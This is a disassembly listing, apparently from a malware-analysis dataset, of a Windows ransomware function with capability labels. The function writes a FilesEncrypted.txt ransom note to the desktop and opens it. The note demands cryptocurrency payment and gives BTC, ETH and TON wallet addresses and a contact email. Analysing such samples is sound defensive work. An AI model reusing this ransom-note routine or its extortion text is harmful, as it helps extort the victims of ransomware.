Function at 0x140004170
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x1400041fd
lea rdx, str.Failed_to_get_desktop_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006200
lea rdx, [0x1400063e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
lea rax, [rbp + 0x90]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140004220
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.140006b30
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rsp + 0x70]
sub rax, r15
cmp rax, 0x13
jb 0x140004715
lea r13, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x78]
cmp r14, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r12, [r15 + 0x13]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp r12, rbx
jbe 0x14000430f
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400042d1
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008510
test rax, rax
je 0x14000468c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000430a
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400042ea
xor edi, edi
jmp 0x14000430a
cmp rcx, 0x1000
jb 0x140004302
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000471b
jmp 0x1400042b2
call fcn.140008510
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
mov r8, r15
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.FilesEncrypted.txt]
movups xmmword [r15 + rdi], xmm0
movzx eax, word [0x14000a890]
mov word [r15 + rdi + 0x10], ax
movzx eax, byte [0x14000a892]
mov byte [r15 + rdi + 0x12], al
mov byte [rdi + r12], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rbx, qword [rsp + 0x40]
lea rax, [0x14000aea0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], r15
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r12, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x78], r12
mov byte [rbp + 4], 0
mov byte [rbp - 7], 0
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor edi, edi
mov qword [rbp + 8], rdi
mov rax, qword [0x14000fbf8]
mov qword [rbp - 4], rax
mov qword [rbp - 0x10], rdi
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp - 0x78]
call fcn.140005c40
test rax, rax
jne 0x14000443d
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r15
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
cmp qword [rbp + 8], 0
je 0x1400045b4
lea rdx, str._n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.___________________________________n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.___________ATTENTION_______________n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.___________________________________n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str._n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str._nYour_data_is_encrypted._n_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.To_unlock_Files_:_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.Send_cryptocurrency_equivalent_to_20_USD_to_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.one_of_the_cryptocurrency_wallets_below__and_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.then_send_an_email_to_MilleniumDawn_protonmail.com_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.confirming_the_transaction_n_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.BTC:_bc1qum9n2cwwpqv3rxezds3n5y0qkjw45jvqmz2mcn_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.ETH:_0x9f0a1cc1d830A607E48E3B19e6E863788abBd8BF_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str.TON:_EQDLuSHllXUntHfbqrkOaiTeBj1THVZMvX5m5h2Exk0YJ97W_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rdx, str._n_n
lea rcx, [rbp - 0x80]
call fcn.140006200
lea rcx, [rbp - 0x78]
call fcn.140005ad0
test rax, rax
jne 0x140004582
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova r8, qword [rsp + 0x40]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400045d8
lea rdx, str.Failed_to_create_notification_file_on_the_desktop.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006200
lea rdx, [0x1400063e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r15
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
mov qword [rbp - 0x78], r12
cmp qword [rbp + 8], 0
je 0x140004629
lea rcx, [rbp - 8]
mov rax, qword [rbp - 0x60]
cmp qword [rax], rcx
jne 0x140004629
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x140004638
lea rcx, [rbp - 0x78]
call fcn.140005ad0
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004698
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004693
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004693
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000878c
movdqa xmm0, xmmword [0x14000af80]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
cmp r14, 0xf
jbe 0x1400046e5
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400046dd
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14000878c
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400084f0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011e0
nop
call fcn.140001140
int3